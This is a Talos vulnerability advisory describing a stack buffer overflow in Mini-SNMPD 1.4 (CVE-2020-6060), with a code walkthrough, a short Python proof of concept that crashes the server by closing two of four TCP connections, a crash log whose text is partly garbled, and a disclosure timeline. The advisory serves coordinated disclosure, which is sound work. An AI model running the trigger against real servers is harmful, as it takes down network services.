Talos Vulnerability Report

TALOS-2020-0977

Mini-SNMPD socket disconnect denial-of-service vulnerability

FEBRUARY 3, 2020

CVE NUMBER

CVE-2020-6060

Summary

A stack buffer overflow vulnerability exists in the way MiniSNMPD version 1.4 handles multiple connections. A specially timed sequence of SNMP connections can trigger a stack overflow, resulting in a denial of service. To trigger this vulnerability, an attacker needs to simply initiate multiple connections to the server.

Tested Versions

Mini-SNMPD 1.4

Product URLs

https://troglobit.com/projects/mini-snmpd/

CVSSv3 Score

7.5 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CWE

CWE-121: Stack-based Buffer Overflow

Details

Mini-SNMPD is a lightweight implementation of a Simple Network Management Protocol server. Its small code size and memory footprint make it especially suitable for small and embedded devices. It is used, for example, by a number of devices based on OpenWRT project.

To handle multiple simultaneous connections, Mini-SNMPD uses select to monitor multiple file descriptors. Helper function FD_SET is used to add file descriptors to the monitored set. The array that stores the set of file descriptors is usually allocated on the stack and is of limited size, so a potential for stack overflows an underflows exists.

Following code from Mini-SNMPD deals with removing disconnected sockets from a list:

```
/* If there was a TCP disconnect, remove the client from the list */
for (i = 0; i < g_tcp_client_list_length; i++) {
   if (g_tcp_client_list[i]->sockfd == -1) {
      g_tcp_client_list_length--;
      if (i < g_tcp_client_list_length) {
        size_t len = (g_tcp_client_list_length - i) * sizeof(g_tcp_client_list[i]);
      free(g_tcp_client_list[i]);
      memmove(&g_tcp_client_list[i], &g_tcp_client_list[i + 1], len);
   }
}</pre>
```

The above code goes through a list of TCP clients and removes them from a list if their sockets have been closed. However, the length of the list g_tcp_client_list_length is decremented inside the loop, before the comparison against loop counter is made. If multiple sockets have been closed, this would result in not all of them being removed from the list. The list would contain a closed socket whose file descriptor is set to -1.

Next time the server loops around to select and FD_SET calls, it will try to call FD_SET on a file descriptor of -1 which would in effect try to write before the allocated set array resulting in a stack overflow. This happens in the following code:

```
for (i = 0; i < g_tcp_client_list_length; i++) {
   if (g_tcp_client_list[i]->outgoing)
   FD_SET(g_tcp_client_list[i]->sockfd, &wfds);
   else
   FD_SET(g_tcp_client_list[i]->sockfd, &rfds);

   if (nfds < g_tcp_client_list[i]->sockfd)
        nfds = g_tcp_client_list[i]->sockfd;
}
```

This type of a stack overflow was a common problem and standard C libraries include a check which triggers stack buffer overflow detection and process termination. To trigger this bug, the following code can be used:

```
s1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s1.connect((sys.argv[1],int(sys.argv[2])))
s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s2.connect((sys.argv[1],int(sys.argv[2])))
s3 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s3.connect((sys.argv[1],int(sys.argv[2])))
s4 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s4.connect((sys.argv[1],int(sys.argv[2])))
s1.close()
s3.close()
```

Running the above code against Mini-SNMPD server results in the following crash:

```
*** buffer overflow detected ***: ./mini snmpd terminated
 /home/anikolich/snmpfuzzing/coverage/mini-snmpd/mini_snmpd
                                                                                                                                       /home/anikolich/snmpfuzzing/coverage/mini-snmpd/mini_snmpd
/home/anikolich/snmpfuzzing/coverage/mini-snmpd/mini_snmpd
                                                                                                                                       /lib/x86_64-linux-gnu/libgcc_s.so.1
                                                                                                                                      /llb/x86_64-linux-gnu/libgcc_s.so.1
/lib/x86_64-linux-gnu/libgcc_s.so.1
/lib/x86_64-linux-gnu/libgcc_s.so.1
/lib/x86_64-linux-gnu/libgcc_s.so.1
/lib/x86_64-linux-gnu/libc-2.23.so
/lib/x86_64-linux-gnu/libc-2.23.so
/lib/x86_64-linux-gnu/libc-2.23.so
                                                                                                                                       /lib/x86_64-linux-gnu/libc-2.23.so
                                                                                                                                      /usr/lib/x86_64-linux-gnu/libconfuse.so.0.0.0
/usr/lib/x86_64-linux-gnu/libconfuse.so.0.0.0
/usr/lib/x86_64-linux-gnu/libconfuse.so.0.0.0
/usr/lib/x86_64-linux-gnu/libconfuse.so.0.0.0
/lib/x86_64-linux-gnu/ld-2.23.so
 7f422e0d7000-7f422e0db000 rw-p 00000000 00:00 0 7f422e0f6000-7f422e100000 rv-p 00000000 00:00 0 7f422e0ff000-7f422e100000 r-p 00025000 08:01 2915636
                                                                                                                                       /lib/x86_64-linux-gnu/ld-2.23.so
 7f422e100000-7f422e101000 rw-p 00026000 08:01 2915636 7f422e101000-7ff22e102000 rw-p 00000000 00:00 0 7ffcbd6bc000-7ffcbd6dd000 rw-p 00000000 00:00 0
                                                                                                                                       /lib/x86_64-linux-gnu/ld-2.23.so
                                                                                                                                       [stack]
 7ffcbd6f7000-7ffcbd6fa000 r--p 00000000 00:00 0
7ffcbd6fa000-7ffcbd6fc000 r-xp 00000000 00:00 0
fffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0
                                                                                                                                       [vvar]
[vdso]
                                                                                                                                       [vsvscall]
```

The above crash comes from __FD_ELT helper in the standard C library which tries to ensure that the file descriptor isn't negative and isn't bigger than the set size. If either of those two fail, process is terminated

Timeline

2020-01-21 - Vendor Disclosure 2020-01-30 - Patch provided to vendor 2020-02-03 - Public Release

CREDIT

Discovered by Aleksandar Nikolic of Cisco Talos.

/ULNERABILITY REPORTS PREVIOUS REPORT NEXT REPORT

TALOS-2020-0976 TALOS-2020-0975

